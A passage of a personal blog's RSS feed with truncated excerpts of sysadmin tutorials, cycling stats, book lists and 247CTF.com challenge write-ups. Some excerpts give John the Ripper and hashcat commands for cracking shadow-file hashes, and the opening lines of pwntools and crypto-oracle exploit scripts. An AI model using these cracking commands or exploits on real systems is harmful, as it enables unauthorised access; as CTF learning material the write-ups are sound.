mp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt; One can easily see that the pattern is of the programming language Brainfuck.
Lets try to run it in a virtual machine (Debian), first we need an interpreter:</description></item><item><title>Certbot Wildcard Autorenew</title><link>/blog/2023-01-15-certbot-wildcard-autorenew/</link><pubDate>Sun, 15 Jan 2023 19:14:32 +0100</pubDate><guid>/blog/2023-01-15-certbot-wildcard-autorenew/</guid><description>Intro Finally decided to research how to avoid the three month manual DNS TXT record pasting.
Tutorial for Debian 11 and DNS servers hosted on OVH.
Migrating the zones Export DNS zone from the old DNS server.
Import it to OVH.
https://www.ovh.com/manager/#/web/zone/sablun.org
Change the NS at the domain registrar.
Review the propagation https://dnschecker.org/#NS/sablun.org
Generate OVH API key https://certbot-dns-ovh.readthedocs.io/en/stable/
GET /domain/zone/* PUT /domain/zone/* POST /domain/zone/* DELETE /domain/zone/* Generate secrets config:
/etc/certbot/ovh.ini</description></item><item><title>MTB of 2022</title><link>/blog/2022-12-26-mtb-of-2022/</link><pubDate>Mon, 26 Dec 2022 22:26:49 +0100</pubDate><guid>/blog/2022-12-26-mtb-of-2022/</guid><description>Statistics Total distance: 4.509 km Total time: 282 h Total ascend: 82.930 m Activities: 200 Longest ride: Slivnica 103.04 km Most ascend ride: Slivnica 1,650 m Longest ride timewise: Slivnica 6:08:08 Highest relative effort: 2. bici po cici 619 Bike components Just for a general feel what goes wrong in so many hours, even if you obsessively pimp your bike:
Broke rear wheel - Replaced Syncros with DTSwiss XMC1501 Broke rear derailleur - Shimano XT 3rd chain - Shimano XT 3rd set of brake pads - Sinter New shifter cable and casing New front remote lockout cable and casing Broke pedals - Shimano XT SPD Broke front brake lever - Shimano M8100 On the verge of replacing:</description></item><item><title>restic backup to B2 / Backblaze</title><link>/blog/2022-03-26-restic-backup-to-b2/</link><pubDate>Sat, 26 Mar 2022 08:32:53 +0100</pubDate><guid>/blog/2022-03-26-restic-backup-to-b2/</guid><description>Intro Replacing duply/duplicity with restic.
Implementation B2 stuff One needs to:
create a bucket generate and obtain app keys set lifecycle All of this is out of scope for this article, instructions can be obtained from official B2 documentation if needed.
restic Create a new directory for all restic configuration files:
mkdir /etc/restic Create restic-env file that contains the common settings.
vim /etc/restic/restic-env export B2_ACCOUNT_ID=&amp;#34;xxxxxxxxxxx&amp;#34; export B2_ACCOUNT_KEY=&amp;#34;xxxxxxxxxxxx&amp;#34; export RESTIC_REPOSITORY=&amp;#34;b2:sablun-eu-restic&amp;#34; export RESTIC_PASSWORD_FILE=/etc/restic/restic-password You can now run this to load the settings every time you want to do something with restic:</description></item><item><title>RFC3161 Timestamp</title><link>/blog/2022-02-03-rfc3161-timestamp/</link><pubDate>Thu, 03 Feb 2022 12:21:39 +0100</pubDate><guid>/blog/2022-02-03-rfc3161-timestamp/</guid><description>Pastebin style!
Create a test file:
touch inputfile.txt Create request:
openssl ts -query -data inputfile.txt -cert -sha256 -no_nonce -out request.tsq Timestamp the request with curl:
cat request.tsq | curl -s -S -H &amp;#39;Content-Type: application/timestamp-query&amp;#39; --data-binary @- http://tsa-test.server.xyz/rfc3161timestamp -o response.tsr Check the timestamp:
openssl ts -reply -in response.tsr -text Using configuration from /usr/lib/ssl/openssl.cnf Status info: Status: Granted. Status description: granted Failure info: unspecified TST info: Version: 1 Policy OID: 1.3.6.1.4.1.6105.3.1.999999999 Hash Algorithm: sha256 Message data: 0000 - 3c 5e 09 ca fc 25 5e ec-52 75 f3 42 48 7e bf 6c &amp;lt;^.</description></item><item><title>Migrate Samba to New Server</title><link>/blog/2022-01-11-migrate-samba-to-new-server/</link><pubDate>Tue, 11 Jan 2022 08:33:38 +0100</pubDate><guid>/blog/2022-01-11-migrate-samba-to-new-server/</guid><description>Pastebin style!
lxc-create -B lvm --lvname lxc-server-2022 --vgname fast-vg --fstype ext4 --fssize 32G -n server-2022 -t debian -- -r bullseye lvcreate --size=180G --name=server-var lxchostserver-vg mkfs.ext4 -m0 -L server-var /dev/mapper/lxchostserver--vg-server--var Separate logical partition for samba data on LXC.
/var/lib/lxc/smb_server_name/config add:
lxc.mount.entry = /dev/mapper/lxchostserver--vg-smb_server_name--var var/local/samba ext4 defaults,acl 0 0 mkfs.ext4 -m0 -L server-var /dev/mapper/lxchostserver--vg-server--var mount /dev/mapper/fast--vg-lxc--server--2022 server-2022/ lxc-stop server-2022 lxc-start server-2022 lxc-attach -n server-2022 Copy old /etc/passwd or better yet, copy only the users/lines you still need.</description></item><item><title>Books of 2021</title><link>/blog/2022-01-07-books-of-2021/</link><pubDate>Fri, 07 Jan 2022 09:22:12 +0100</pubDate><guid>/blog/2022-01-07-books-of-2021/</guid><description> Mastering Mountain Bike Skills - Lopes, Brian Troubled Blood (Cormoran Strike, #5) - Galbraith, Robert Laži Locka Lamore (Uglajene barabe, #1) - Lynch, Scott Bilo jih je deset - Christie, Agatha Čigav si? - Stanišić, Saša Na otoku zakladov (Pet prijateljev, #1) - Blyton, Enid Virus - Golob, Tadej Na skrivnostni sledi (Pet prijateljev, #3) - Blyton, Enid Sin - Nesbø, Jo Novim dogodivščinam naproti (Pet prijateljev, #2) - Blyton, Enid Na potepu (Pet prijateljev, #10) - Blyton, Enid Pustolovec zmote: patetični priročnik za razumevanje priletnega alfa samca - Šalehar, Miha Kraljestvo - Nesbø, Jo Đorđić se vrača - Vojnović, Goran Zločinska zabava - Christie, Agatha</description></item><item><title>Hugo Security Policy</title><link>/blog/2021-12-19-hugo-security-policy/</link><pubDate>Sun, 19 Dec 2021 17:10:10 +0100</pubDate><guid>/blog/2021-12-19-hugo-security-policy/</guid><description>In version 91.0, Hugo gained some new security related things, that broke my vim editing.
You can read more about it in the official documentation, where you can also find the defaults if you use yaml or json for configuration. I use toml.
When creating a new page, Hugo would break when trying to open vim:
$ hugo new blog/Article.md Content &amp;#34;/home/b4d/data/site/content/blog/Article.md&amp;#34; created Editing &amp;#34;/home/b4d/data/site/content/blog/Article.md&amp;#34; with &amp;#34;vim&amp;#34; ... Error: access denied: &amp;#34;vim&amp;#34; is not whitelisted in policy &amp;#34;security.</description></item><item><title>Wireguard VPN on Debian with nftables</title><link>/blog/2021-12-19-wireguard-vpn-on-debian/</link><pubDate>Sun, 19 Dec 2021 16:57:54 +0100</pubDate><guid>/blog/2021-12-19-wireguard-vpn-on-debian/</guid><description>nftables $ vim /etc/nftables.conf #!/usr/sbin/nft -f flush ruleset define WAN_IFC = eth0 define VPN_IFC = wg0 define VPN_NET = 10.10.10.0/24 define VPN_SERVICES = { 10.10.10.20, 10.10.10.21 } table inet filter { chain input { ... # Wireguard VPN udp dport 51820 counter accept comment &amp;#34;Allow VPN&amp;#34; iifname $VPN_IFC udp dport 53 ip saddr $VPN_NET counter accept comment &amp;#34;Allow DNS for VPN&amp;#34; # Allow VPN clients to communicate with each other. # iifname $vpn oifname $vpn ct state new accept .</description></item><item><title>Wireguard VPN on Mikrotik</title><link>/blog/2021-12-19-wireguard-vpn-on-mikrotik/</link><pubDate>Sun, 19 Dec 2021 16:52:57 +0100</pubDate><guid>/blog/2021-12-19-wireguard-vpn-on-mikrotik/</guid><description># Creating the new WG interface and generating keypair /interface wireguard add listen-port=51820 mtu=1420 name=wireguard1 # Retrieve the public key for client configuration /interface wireguard print # Set adresses for wireguard1 interface and provide a route /ip address add address=10.9.9.0/24 interface=wireguard1 network=10.9.9.0 # Set up the firewall /ip firewall filter add action=accept chain=input dst-port=51820 protocol=udp # Create peers /interface wireguard peers add allowed-address=10.9.9.2/32 interface=wireguard1 public-key=&amp;#34;public-key-obtained-from-client-configuration&amp;#34;</description></item><item><title>Angr-y Binary (rev)</title><link>/blog/2021-12-01-247ctf-com-reversing-angr-y-binary/</link><pubDate>Wed, 01 Dec 2021 13:57:34 +0100</pubDate><guid>/blog/2021-12-01-247ctf-com-reversing-angr-y-binary/</guid><description>As with almost every reversing challenge, let&amp;rsquo;s run cutter, leave it to analyse for a few minutes and then cancel it. Search for the addresses of the following functions:
maybe_flag 0xFFFFAAAA no_flag 0xFFFFAAAB print_flag 0xFFFFAAAC Based on the challenge name, doing a search yields us with interesting idea:
angr
angr is a python framework for analyzing binaries. It combines both static and dynamic symbolic (&amp;ldquo;concolic&amp;rdquo;) analysis, making it applicable to a variety of tasks.</description></item><item><title>Flag Authoriser (net)</title><link>/blog/2021-11-30-247ctf-com-networking-flag-authoriser/</link><pubDate>Tue, 30 Nov 2021 12:36:47 +0100</pubDate><guid>/blog/2021-11-30-247ctf-com-networking-flag-authoriser/</guid><description>Intro A little write up of a Networking challenge The Web Shell on the CTF site 247CTF.com.
Instructions Can you forge a new identity to upgrade your access from an anonymous user to an admin?
Howto Code The challenge provide us with the following code:
from flask import Flask, redirect, url_for, make_response, render_template, flash from flask_jwt_extended import JWTManager, create_access_token, jwt_optional, get_jwt_identity from secret import secret, admin_flag, jwt_secret app = Flask(__name__) cookie = &amp;#34;access_token_cookie&amp;#34; app.</description></item><item><title>The Web Shell (net)</title><link>/blog/2021-11-24-247ctf-com-networking-the-web-shell/</link><pubDate>Wed, 24 Nov 2021 20:23:32 +0100</pubDate><guid>/blog/2021-11-24-247ctf-com-networking-the-web-shell/</guid><description>Intro After some time spent on my bike, here is the latest write-up, this time of a Networking challenge The Web Shell on the CTF site 247CTF.com.
Instructions Our web server was compromised again and we aren&amp;rsquo;t really sure what the attacker was doing. Luckily, we only use HTTP and managed to capture network traffic during the attack! Can you figure out what the attacker was up to?
Howto The challenge provides us with a pcap file of captured traffic (web_shell.</description></item><item><title>Upgrading to Debian 11 - Bullseye</title><link>/blog/2021-08-23-upgrading-to-debian-11-bullseye/</link><pubDate>Mon, 23 Aug 2021 14:37:12 +0200</pubDate><guid>/blog/2021-08-23-upgrading-to-debian-11-bullseye/</guid><description>Intro Important stuff first, Bullseye is a toy horse, from Toy Story movies. He is a toy horse that was a part of Al&amp;rsquo;s collection, which had been in storage for several years.
Howto Read the release notes, yeah long peice of text, but well worth it to avoid problems with your puppies.
Problems on the way MariaDB I had to manually install the latest version, upgrading only removes everything.</description></item><item><title>Dirty and Quick Shadow Password Recovery</title><link>/blog/2021-03-16-dirty-quick-shadow-password-recovery/</link><pubDate>Tue, 16 Mar 2021 09:49:04 +0100</pubDate><guid>/blog/2021-03-16-dirty-quick-shadow-password-recovery/</guid><description>Using kali linux and the rockyou wordlist.
John the Ripper $ unshadow passwd.txt shadow.txt &amp;gt; passwords.txt $ john --wordlist=/usr/share/wordlists/rockyou.txt passwords.txt $ john --show passwords.txt hashcat passwords-hashcat.txt should contain only the hash.
$ hashcat -m 500 -a 0 -o cracked.txt passwords-hashcat.txt /usr/share/wordlists/rockyou.txt -O $ cat cracked.txt</description></item><item><title>Single file database aka SQlite</title><link>/blog/2021-02-07-sqlite/</link><pubDate>Sun, 07 Feb 2021 13:28:35 +0100</pubDate><guid>/blog/2021-02-07-sqlite/</guid><description>Wooow a single file database and a few commands to go with it&amp;hellip;
root@localhost:~# apt-get install sqlite3 root@localhost:~# sqlite3 SQLite version 3.27.2 2019-02-25 16:06:06 Enter &amp;#34;.help&amp;#34; for usage hints. Connected to a transient in-memory database. Use &amp;#34;.open FILENAME&amp;#34; to reopen on a persistent database. sqlite&amp;gt; sqlite&amp;gt; .help .archive ... Manage SQL archives .auth ON|OFF Show authorizer callbacks .backup ?DB? FILE Backup DB (default &amp;#34;main&amp;#34;) to FILE .bail on|off Stop after hitting an error.</description></item><item><title>Instant Wiki.js with Docker</title><link>/blog/2021-02-07-instant-wikijs-with-docker/</link><pubDate>Sun, 07 Feb 2021 12:45:16 +0100</pubDate><guid>/blog/2021-02-07-instant-wikijs-with-docker/</guid><description>Intro This could maybe be a little intro to docker, or not.
In this crazy short tutorial, we will see how to deploy a working Wiki.js instance in 10 commands with Docker.
Please note, this setup is useful for testing purposes. To make it to production, we should really look into Linux hardening and configure the server properly. The recommended database for Wiki.js is Postgres and support for other backends will be dropped in the future, they also specificly state that SQlite is not meant for production use.</description></item><item><title>The Right to Repair and MBP battery replacement</title><link>/blog/2021-01-16-the-right-to-repair-and-mbp/</link><pubDate>Sat, 16 Jan 2021 11:16:58 +0100</pubDate><guid>/blog/2021-01-16-the-right-to-repair-and-mbp/</guid><description>Meet my early 2013 MBP retina, named &amp;ldquo;arwen&amp;rdquo;! Here I am preparing my thesis presentation while at FOSDEM 2014.
“I would rather spend one lifetime with you, than face all the ages of this world alone.” ― Arwen by J.R.R. Tolkien in The Lord of the Rings
She won&amp;rsquo;t die and I don&amp;rsquo;t want her to die.
But unfortunately this little laptop developed a symptom that presented itself as spinning around its own axis.</description></item><item><title>Books of 2020</title><link>/blog/2021-01-07-books-of-2020/</link><pubDate>Thu, 07 Jan 2021 09:22:12 +0100</pubDate><guid>/blog/2021-01-07-books-of-2020/</guid><description>Not a great year for books, but for my personal consolation, I have done other stuff :D
Pulp - Bukowski, Charles The Bullet Journal Method: Track the Past, Order the Present, Design the Future - Carroll, Ryder Punished by Rewards: The Trouble with Gold Stars, Incentive Plans, A&amp;rsquo;s, Praise and Other Bribes - Kohn, Alfie Networking All-In-One for Dummies - Lowe, Doug The Hacker Playbook 3: Practical Guide To Penetration Testing - Kim, Peter Steal Like an Artist: 10 Things Nobody Told You About Being Creative - Kleon, Austin Anxious People - Backman, Fredrik Rich Dad, Poor Dad - Kiyosaki, Robert T.</description></item><item><title>Suspicious Caesar (crypto)</title><link>/blog/2020-12-21-247ctf-com-crypto-suspicious-caesar/</link><pubDate>Mon, 21 Dec 2020 13:19:44 +0100</pubDate><guid>/blog/2020-12-21-247ctf-com-crypto-suspicious-caesar/</guid><description>Intro A new challenge appeared on the 247ctf.com site and here is my little write-up.
As it happens this was again sweet, sweet first blood!
Instructions We RSA encrypted the flag, but forgot to save the private key. Is it possible to recover the flag without it?
The code The challenge provides a source code for the encryption suspicious_caesar_cipher.py:
#!/usr/bin/env python3 from Crypto.Util.number import getStrongPrime from fractions import gcd from secret import flag def get_key(e=65537, bit_length=2048): while True: p = getStrongPrime(bit_length, e=e) q = getStrongPrime(bit_length, e=e) if gcd(e, (p - 1) * (q - 1)) == 1: return e, p * q def encrypt(e, n, m): return [((ord(c) ** e) % n) for c in m] e, n = get_key() print(&amp;#34;Generated key:&amp;#34;) print(e) print(n) print(&amp;#34;Encrypted flag:&amp;#34;) print(encrypt(e, n, flag)) Included is also the output of the script suspicious_caesar_cipher.</description></item><item><title>Constant Backup Policy (misc)</title><link>/blog/2020-11-17-247ctf-com-misc-constant-backup-policy/</link><pubDate>Tue, 17 Nov 2020 17:32:01 +0100</pubDate><guid>/blog/2020-11-17-247ctf-com-misc-constant-backup-policy/</guid><description>Instructions Our admins take their backup policies very seriously. Every single second they &amp;ldquo;/bin/tar czf *&amp;rdquo; our entire home directory. Can you trick the admin&amp;rsquo;s into leaking the flag?
Intelligence We can see that superuser runs a backup. We know what command they run. How to exploit wildcard tar? Poking around First lets check who we are:
bash-4.3$ whoami notroot Anything interesting in our home dir:
bash-4.3$ cd /home/notroot/ bash-4.3$ ls What is running on the system:</description></item><item><title>Share AWS S3 Bucket With Another AWS Account</title><link>/blog/2020-10-27-share-aws-s3-bucket-with-another-aws-account/</link><pubDate>Tue, 27 Oct 2020 10:42:09 +0100</pubDate><guid>/blog/2020-10-27-share-aws-s3-bucket-with-another-aws-account/</guid><description>Obtain users AWS Canonical ID # aws s3api list-buckets --query Owner.ID --output text xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Create new bucket Amazon AWS console / S3 /
Create Bucket: &amp;ldquo;new-bucket&amp;rdquo;.
Allow public access Amazon AWS console / S3 / new-bucket / Permissions / Block Public Access
OFF
Edit ACL Amazon AWS console / S3 / new-bucket / Permissions / Access Control List
Add permissions for obtained Canonical ID.
Edit policy Amazon AWS console / S3 / new-bucket / Permissions / Bucket Policy:</description></item><item><title>Downgrading Packages in Debian via Snapshot</title><link>/blog/2020-10-05-downgrading-packages-in-debian-via-snapshot/</link><pubDate>Mon, 05 Oct 2020 11:44:59 +0200</pubDate><guid>/blog/2020-10-05-downgrading-packages-in-debian-via-snapshot/</guid><description>Gnarly little bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=969261 forced us to roll back the packages for cyrus.
Open http://snapshot.debian.org and under Binary search, look for your package. In our case cyrus-imapd.
We are presented with a list of all binary versions http://snapshot.debian.org/binary/cyrus-imapd/.
Find the right one, 3.2.2-1 in our example:
http://snapshot.debian.org/package/cyrus-imapd/3.2.2-1%7Ebpo10%2B1/#cyrus-imapd_3.2.2-1:7e:bpo10:2b:1
Click the /pool/main/c/cyrus-imapd link (http://snapshot.debian.org/archive/debian/20200729T085837Z/pool/main/c/cyrus-imapd/).
Use the obtained link but only the part to the timestamp and create a new source for packages:</description></item><item><title>The Flag Bootloader (rev)</title><link>/blog/2020-09-07-247ctf-com-rev-the-flag-bootloader/</link><pubDate>Mon, 07 Sep 2020 08:11:37 +0200</pubDate><guid>/blog/2020-09-07-247ctf-com-rev-the-flag-bootloader/</guid><description>Intro Can you unlock the secret boot sequence hidden within our flag bootloader to recover the flag?
A reversing challenge on the 247CTF.com website.
Warning: The challenge contains a real life bootable file, if you boot your computer with it, shit can really hit the fan. Always only emulate.
Basics Check what are we dealing with.
$ file flag.com flag.com: DOS/MBR boot sector Find out how to run and debug it.</description></item><item><title>ACID Flag Bank (web)</title><link>/blog/2020-09-03-247ctf-com-web-acid-flag-bank/</link><pubDate>Thu, 03 Sep 2020 21:06:38 +0200</pubDate><guid>/blog/2020-09-03-247ctf-com-web-acid-flag-bank/</guid><description>Intro You can purchase a flag directly from the ACID flag bank, however there aren&amp;rsquo;t enough funds in the entire bank to complete that transaction! Can you identify any vulnerabilities within the ACID flag bank which enable you to increase the total available funds?
First blood!
Intelligence What is ACID? How to make multiple parallel requests? Buy flag! https://gist.github.com/CMCDragonkai/5914e02df62137e47f32
ACID ACID stands for Atomicity, Consistency, Isolation and Durability, principles that application must adhere to avoid vulnerabilities.</description></item><item><title>Dovecot Logrotate</title><link>/blog/2020-08-18-dovecot-logrotate/</link><pubDate>Tue, 18 Aug 2020 14:38:22 +0200</pubDate><guid>/blog/2020-08-18-dovecot-logrotate/</guid><description>Somehow I have missed configuring logrotate to do its magic on the Dovecot log files, lets fix that.
Create /etc/logrotate.d/dovecot and put this inside:
/var/log/mail/dovecot*.log { missingok monthly notifempty delaycompress sharedscripts postrotate doveadm log reopen endscript } To force the rotation, use this command:
$ logrotate --force /etc/logrotate.conf</description></item><item><title>Dovecot Full-Text Search</title><link>/blog/2020-08-18-dovecot-full-text-search/</link><pubDate>Tue, 18 Aug 2020 13:55:27 +0200</pubDate><guid>/blog/2020-08-18-dovecot-full-text-search/</guid><description>Intro I am using my own e-mail server for a few years now, but I almost never use search in my mailbox, so I did not really noticed how slow it was. All because the heavy lifting is left to the client to do.
Enter the FTS aka full-text search, a wonderful solution that forces server to do the dirty part, so your phone has more juice for browsing reddit.</description></item><item><title>Slippery Upload (web)</title><link>/blog/2020-05-06-247ctf-com-web-slippery-upload/</link><pubDate>Wed, 06 May 2020 19:16:04 +0200</pubDate><guid>/blog/2020-05-06-247ctf-com-web-slippery-upload/</guid><description>Intro A beautiful web challenge Slippery Upload from 247CTF.com, here is my way&amp;hellip;
Can you abuse the zip upload and extraction service to gain code execution on the server?
What&amp;rsquo;s the vulnerability? This one was easy, even if I did not know about it.
Duckduckgo for &amp;ldquo;zip vulnerability&amp;rdquo; will push you to the good first result.
So there is a &amp;ldquo;Zip Slip&amp;rdquo;
The vulnerability is exploited using a specially crafted archive that holds directory traversal filenames (e.</description></item><item><title>Try and Catch (web)</title><link>/blog/2020-05-02-247ctf-com-web-try-and-catch/</link><pubDate>Sat, 02 May 2020 15:21:12 +0200</pubDate><guid>/blog/2020-05-02-247ctf-com-web-try-and-catch/</guid><description>Intro Can you find the bug and trigger an exception in this web application?
Took the first blood on this challenge :)
Code from flask import Flask, request from werkzeug.debug import DebuggedApplication import os app = Flask(__name__) app.wsgi_app = DebuggedApplication(app.wsgi_app, True) app.config[&amp;#39;SECRET_KEY&amp;#39;] = os.urandom(32) calculate = {&amp;#34;+&amp;#34; : lambda x, y: x + y, &amp;#34;-&amp;#34; : lambda x, y: x - y, &amp;#34;*&amp;#34; : lambda x, y: x * y, &amp;#34;/&amp;#34; : lambda x, y: x / y} def safe_cast(val, to_type): try: return to_type(val) except (ValueError, TypeError): return None @app.</description></item><item><title>A Non-Executable Stack (pwn)</title><link>/blog/2020-04-24-247ctf-com-pwnable-a-non-executable-stack/</link><pubDate>Fri, 24 Apr 2020 18:50:46 +0200</pubDate><guid>/blog/2020-04-24-247ctf-com-pwnable-a-non-executable-stack/</guid><description>Intro There are no hidden flag functions in this binary. Can you make your own without executing from the stack?
Exploit #!/usr/bin/env python # -*- coding: utf-8 -*- # This exploit template was generated via: # $ pwn template ./executable_stack --host 1a892a34ee15e655.247ctf.com --port 50431 from pwn import * # Set up pwntools for the correct architecture exe = context.binary = ELF(&amp;#39;./non_executable_stack&amp;#39;) rop = ROP(exe) #libc = ELF(&amp;#39;libc.so.6&amp;#39;) # Many built-in settings can be controlled on the command-line and show up # in &amp;#34;args&amp;#34;.</description></item><item><title>Hidden Flag Bytes (crypto)</title><link>/blog/2020-04-21-247ctf-com-cryptography-hidden-flag-bytes/</link><pubDate>Tue, 21 Apr 2020 07:42:37 +0200</pubDate><guid>/blog/2020-04-21-247ctf-com-cryptography-hidden-flag-bytes/</guid><description>Intro This encryption service will encrypt the flag along with any plaintext, but it won&amp;rsquo;t decrypt it. Can you recover the flag anyway?
Exploit #!/usr/bin/env python3 # 247ctf / crypto / hidden flag bytes # This encryption service will encrypt the flag along with any plaintext, but it won&amp;#39;t decrypt it. # Can you recover the flag anyway? import requests import binascii # Challenge URL URL = &amp;#39;https://fb59c30a0f0d318a.247ctf.com&amp;#39; # Specify all possible characters that could occur in flag, 247CTF{} + all hexadecimal single values a-f and 0-9 allchar = &amp;#34;0123456789abcdefCTF{}&amp;#34; # Size of the block, we got with testing block_size = 16 # We can predist the first 7 chars of the flag &amp;#34;247CTF{&amp;#34; solution = &amp;#39;3234374354467b&amp;#39; print (&amp;#34;Obtaining the flag from &amp;#34;+URL+&amp;#34;.</description></item><item><title>Administrative ORM (web)</title><link>/blog/2020-04-20-247ctf-com-web-administrative-orm/</link><pubDate>Mon, 20 Apr 2020 20:27:37 +0200</pubDate><guid>/blog/2020-04-20-247ctf-com-web-administrative-orm/</guid><description>Intro This is my write-up of a Reversing challenge The Encrypted Flag on the CTF site 247CTF.com.
Instructions We started building a custom ORM for user management. Can you find any bugs before we push to production?
Code The provided code:
import pymysql.cursors import pymysql, os, bcrypt, debug from flask import Flask, request from secret import flag, secret_key, sql_user, sql_password, sql_database, sql_host class ORM(): def __init__(self): self.connection = pymysql.connect(host=sql_host, user=sql_user, password=sql_password, db=sql_database, cursorclass=pymysql.</description></item><item><title>Mechanical Turk (web)</title><link>/blog/2020-04-15-247ctf-com-web-mechanical-turk/</link><pubDate>Wed, 15 Apr 2020 21:53:50 +0200</pubDate><guid>/blog/2020-04-15-247ctf-com-web-mechanical-turk/</guid><description>This post was in &amp;ldquo;draft&amp;rdquo; version for more than three years, waiting for some neat words to be added. Maybe it is time to just dump it online and see where it goes.
I was the 13th person to solve this challenge :)
There were 33 sucessfull attempts at the date of publishing this article (11.12.2023). Lets see if this helps anyone.
Intro If you can solve our custom CAPTCHA addition equation 100 times in 30 seconds you will be rewarded with a flag.</description></item><item><title>Heaped Notes (pwn)</title><link>/blog/2020-04-14-247ctf-com-pwn-heaped-notes/</link><pubDate>Tue, 14 Apr 2020 11:43:10 +0200</pubDate><guid>/blog/2020-04-14-247ctf-com-pwn-heaped-notes/</guid><description>Intro This is my write-up of a Pwn challenge Heaped Notes on the CTF site 247CTF.com.
Instructions Can you abuse our heaped notes service to create 3 identical notes?
Howto Create a new pwntools template:
$ pwn template ./heaped_notes --host 5dca9eabc7b6dbdd.247ctf.com --port 50367 Edit the sha-bang to use python 3:
#!/usr/bin/env python3 Create functions for note creation (this one uses malloc()) and oversized note creation (if note is too big the program calls free()).</description></item><item><title>Tips and Tricks (beginner tutorial)</title><link>/blog/2020-04-11-247ctf-com-beginner-tips-and-tricks/</link><pubDate>Sat, 11 Apr 2020 13:56:29 +0200</pubDate><guid>/blog/2020-04-11-247ctf-com-beginner-tips-and-tricks/</guid><description>Intro A very nice step up in the difficulty of the beginner challenges on the 247ctf.com site, that takes us to the realm of using programming solutions to automatize and speed up our solving skills.
A number of challenges will require you to create solutions which are more efficiently solved by making use of a programming language to automate and perform the computations. For this purpose, we recommend to make use of PYTHON as well as complementary libraries such as REQUESTS and PWNTOOLS.</description></item><item><title> TG:Hack 2020 CTF</title><link>/blog/2020-04-11-tg-hack-2020-ctf/</link><pubDate>Sat, 11 Apr 2020 09:49:56 +0200</pubDate><guid>/blog/2020-04-11-tg-hack-2020-ctf/</guid><description>I have enrolled in my first CTF competition TG:Hack that took place form 08.04. to 11.04. purely online. It was a great experience, learned a lot, made new connections and the final result was amazing. Entering the competition, my goal was just to scratch the surface of the challenges. But it went very, very well so in the pot of 1000+ teams, we finished 37th.
Thanks to my teammates jetomit and EK!</description></item><item><title>An Executable Stack (pwn)</title><link>/blog/2020-04-08-247ctf-com-pwnable-an-executable-stack/</link><pubDate>Wed, 08 Apr 2020 14:17:55 +0200</pubDate><guid>/blog/2020-04-08-247ctf-com-pwnable-an-executable-stack/</guid><description>#!/usr/bin/env python # -*- coding: utf-8 -*- # This exploit template was generated via: # $ pwn template ./executable_stack --host 1a892a34ee15e655.247ctf.com --port 50431 from pwn import * # Set up pwntools for the correct architecture exe = context.binary = ELF(&amp;#39;./executable_stack&amp;#39;) # Many built-in settings can be controlled on the command-line and show up # in &amp;#34;args&amp;#34;. For example, to dump all data sent/received, and disable ASLR # for all created processes.</description></item><item><title>The Encrypted Password (rev)</title><link>/blog/2020-04-06-247ctf-com-reversing-the-encrypted-password/</link><pubDate>Mon, 06 Apr 2020 15:06:49 +0200</pubDate><guid>/blog/2020-04-06-247ctf-com-reversing-the-encrypted-password/</guid><description>Intro This is my write-up of a Reversing challenge The Encrypted Flag on the CTF site 247CTF.com.
Howto This one is a bit embarrassing for me, as it took way too much time. I was basically frustrated with this, should be so easy, but apparently still to hard for me to crack quickly. A few weeks later, I have learned about a tool called ltrace.
Run the binary through ltrace and for input, put in some random stuff (aa in this example):</description></item><item><title>Custom Protocol (net)</title><link>/blog/2020-04-06-247ctf-com-networking-custom-protocol/</link><pubDate>Mon, 06 Apr 2020 14:21:41 +0200</pubDate><guid>/blog/2020-04-06-247ctf-com-networking-custom-protocol/</guid><description>Intro This is my write-up of a Networking challenge Custom Protocol on the CTF site 247CTF.com.
Instructions We are working on our own custom command and control protocol. Can you identify any hidden features in the service? We also included a packet capture of some old sessions so you can learn how it works.
Howto Wireshark follow TCP traffic, export.
Analysis #!/usr/bin/env python3 # https://fireshellsecurity.team/ritsec-pcap-me-if-you-can/ # Open and read the file containing all the packets&amp;#39; data field with open(&amp;#39;streams/24&amp;#39;) as f: data = f.</description></item><item><title>Multiplication Tables (net)</title><link>/blog/2020-04-05-247ctf-com-networking-multiplication-tables/</link><pubDate>Sun, 05 Apr 2020 13:37:11 +0200</pubDate><guid>/blog/2020-04-05-247ctf-com-networking-multiplication-tables/</guid><description>Intro This is my write-up of a Networking challenge Multiplication Tables on the CTF site 247CTF.com.
Instructions Can you recover the private key we used to download the flag over a TLS encrypted connection?
Howto First we need to extract the certificete like in Not My Modulus.
Convert DER to usable format:
$ openssl x509 -inform DER -in public-cert-key.der -pubkey -noout &amp;gt; key.pub $ cat key.pub -----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDVzrM58EOtSsBE5WgLJiNjPa/h ZtArVRS0PjS01u6DyAlvAWwmSEbhQNiwC74V9TANRDCdKShcsf58Ij0BGeE0ybsp 2sqbDRUkuJ5siVCNh6OdhMnHLySTcU+3jKWsPNNz8U2BaETEVafB9yggAgjWqEbl xXq0q3uc464SDnWZawIDAQAB -----END PUBLIC KEY----- Use RsaCtfTool to generate private key and save it as private.</description></item><item><title>Not My Modulus (net)</title><link>/blog/2020-04-04-247ctf-com-networking-not-my-modulus/</link><pubDate>Sat, 04 Apr 2020 20:28:28 +0200</pubDate><guid>/blog/2020-04-04-247ctf-com-networking-not-my-modulus/</guid><description>Intro This is my write-up of a Networking challenge Not My Modulus on the CTF site 247CTF.com
Instructions We are trying to decrypt a packet capture taken on our internal network. We know you can decrypt the data using the correct private key, but we simply have too many. Can you identify the correct key?
Howto https://security.stackexchange.com/questions/123851/how-can-i-extract-the-certificate-from-this-pcap-file
Open encrypted.pcap with Wireshark.
Select the number 6 where Info states &amp;ldquo;server Hello, Certificate, Server Hello Done&amp;rdquo;</description></item><item><title>Optimizing Hugo</title><link>/blog/2020-04-03-optimizing-hugo/</link><pubDate>Fri, 03 Apr 2020 07:52:02 +0200</pubDate><guid>/blog/2020-04-03-optimizing-hugo/</guid><description>Intro As Hugo is regarded as ultimate speed machine, I wanted to see how far can I push it.
We can see here the &amp;ldquo;before&amp;rdquo; speed tests were ok, but there was a bit of room for improvement.
